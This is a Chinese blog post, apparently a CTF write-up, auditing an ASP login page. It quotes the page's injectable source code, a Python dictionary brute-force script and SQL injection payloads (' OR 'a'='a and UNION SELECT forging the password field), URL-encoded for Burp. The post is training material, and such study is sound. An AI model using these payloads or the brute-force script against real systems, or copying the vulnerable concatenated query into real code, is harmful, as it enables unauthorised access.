[漏洞分析] CTF:ASP源码审计认证绕过

原创 2015年07月07日 13:46:07
登录界面如下:

随便尝试一个登录凭证,系统会报错

这是一个考察源代码审计的题,从页面中可得源代码为
<%
On Error Resume Next
dim name, pass, sql, action
set conn = server.CreateObject("ADODB.Connection")
conn.open "provider=Microsoft.jet.OLEDB.4.0;Data Source="
	&Server.mappath("******.mdb")
name = request.form("username")
pass = request.form("userpass")
action = request("action")


if action="login" then
 sql = "select * from bdmin where name='" & name & "'"
 set rs=server.CreateObject("adodb.recordset")
 rs.open sql,conn,1,3
 if rs.eof and rs.bof then
   response.write "<center>user or pass error!</center>"
 else 
   if StrComp(rs("pass"),pass) = 0 then
   response.write "<center>Great! Key:*********</center>"
   end if
 end if 
end if
%>
从页面处获得用户输入的用户名和密码,
首先先验证用户名是否在数据库中存在,即代码:sql = "select * from bdmin where name='" & name & "'",如果用户名存在(也就是说合法用户)继续认证密码,否则在页面打印“user or pass error!”
此处我输入了' OR 'a'='a来绕过对于用户名的检查,绕过之后不会有“user or pass error!”报错信息。

接下来就是对密码的检查了,代码中有一句if StrComp(rs("pass"),pass) = 0,也就是说在本题中,从刚才验证用户名成功的条目中取出密码值与用户的密码值进行比对,碰上了就会打印“Great! Key:*********”
于是编写了一个python脚本结合字典尝试对此进行暴力破解,但实验结果表明用户名和密码没有对的。
#!/usr/bin/python
#-*-coding:utf-8-*-

#网页POST提交数据

import urllib
import urllib2
import re

url = 'http://ctf8.simplexue.com/aspaudit/?action=login'
header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',
              'Accept':'text/html;q=0.9,*/*;q=0.8',
              'Accept-Charset':'ISO-8859-1,utf-8;q=0.7,*;q=0.3',
              'Accept-Encoding':'gzip',
              'Connection':'close',
              'Referer':None,
              'Host': 'ctf8.simplexue.com'}
username_input = "admin"
fobj = open('password.txt','r')
for eachline in fobj:
	values = {'username':username_input,'userpass':eachline.strip()}
	data = urllib.urlencode(values)
	print data

	req = urllib2.Request(url,data,header)
	response = urllib2.urlopen(req)
	the_page = response.read()

	flag = re.compile(r'Great!',re.DOTALL).findall(the_page)
	if len(flag)>1:
		print "PASSWORD:"+eachline.strip()
		break
于是如果想过第二关就得自己构造pass字段。
也就是在用户名处输入username=' union select 1,1,1 from bdmin where ''='
在密码处输入1
当然含有3个字段是一点点尝试出来的,也就是:
用户名:' union select 1 from bdmin where ''='密码:1 (报错 user or pass error!)
用户名:' union select 1,1 from bdmin where ''='密码:1(报错 user or pass error!)
用户名:' union select 1,1,1 from bdmin where ''='密码:1(返回Great! Key:Beautlful111)

随后为了进一步确认究竟哪个字段为密码字段,进行如下尝试:
用户名:' union select 1,2,3 from bdmin where ''='密码:1(报错 user or pass error!)
用户名:' union select 1,2,3 from bdmin where ''='密码:2(报错 user or pass error!)
用户名:' union select 1,2,3 from bdmin where ''='密码:3(返回Great! Key:Beautlful111)
可见第3个字段是密码字段。


注意:
本处对于用户名和密码的输入都在burp中进行,因为对于Username字段的定义,其最大长度为15,但仅在前端做了限制因此可用burp绕过,在编写HTTP Body部分时,需要进行UELEncode

也就是将username=' union select 1,1,1 from bdmin where ''='&userpass=1编码为username=%27%20union%20select%201%2C1%2C1%20from%20bdmin%20where%20%27%27%3D%27&userpass=1


版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

西普学院CTF习题解析——WEB(已完成16/16)

源西普学院实验吧 预备知识点 页面调试 审查元素 html js php asp sql 等语法基础 请求头 响应头 伪造IP SQL注入基础 XSS基础 Web常用编码 “网站后台”概念及猜解、...

CTF web总结(入门)

本文链接:http://blog.csdn.net/u012763794/article/details/50959166 本文根据自己的做题经验及各大练习平台不断更新,若我最近懒了,没怎么...
  • ncafei
  • ncafei
  • 2016-12-18 15:47
  • 2255

CTF比赛中SQL注入的一些经验总结

*本文原创作者:pupiles,本文属FreeBuf原创奖励计划,未经许可禁止转载 ctf中sql注入下的一些小技巧 最近花了一点时间总结了各大平台中注入的trick,自己还是太菜了,多半...

[web安全] 上传漏洞之绕过上传漏洞

程序员在防止文件上传漏洞时可以分为以下两种: $客户端检测:客户端使用JavaScript检测,在文件未上传时,就对文件进行验证; $服务器端检测:服务端脚本一般会检测文件的MIME类型,检测文件扩展...

Android第二个绕过签名认证漏洞原理

本文章由Jack_Jia编写,转载请注明出处。   文章链接:http://blog.csdn.net/jiazhijun/article/details/9984085 作者:Jack_Jia  ...

dede源码详细分析之--全局变量覆盖漏洞的防御

本文是过往云烟原创  转载请注明出处 谢谢  (*^__^*)……   最近开始分析主流CMS源码,首先就是拿DEDE开刀,谁让我就用它时间长呢。 今天试着写了一个简单的插...
  • ebw123
  • ebw123
  • 2012-10-22 21:41
  • 3163

Struts2远程命令执行漏洞 S2-045 源码分析

Struts2 又爆OGNL的高危漏洞S-045,又是OGNL的漏洞 漏洞分析 在上传文件里,Struts使用的是common upload 的上传组件, 为了能被action访问到上传的文件,通常会...

dede源码详细分析之--全局变量覆盖漏洞的防御

最近开始分析主流CMS源码,首先就是拿DEDE开刀,谁让我就用它时间长呢。今天试着写了一个简单的插件,感觉还是比较简单的 只引入了一个common.inc.php 这个文件是dede的入口文件 今...

dede源码详细分析之--全局变量覆盖漏洞的防御

最近开始分析主流CMS源码,首先就是拿DEDE开刀,谁让我就用它时间长呢。 今天试着写了一个简单的插件,感觉还是比较简单的 只引入了一个common.inc.php  这个文件是de...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)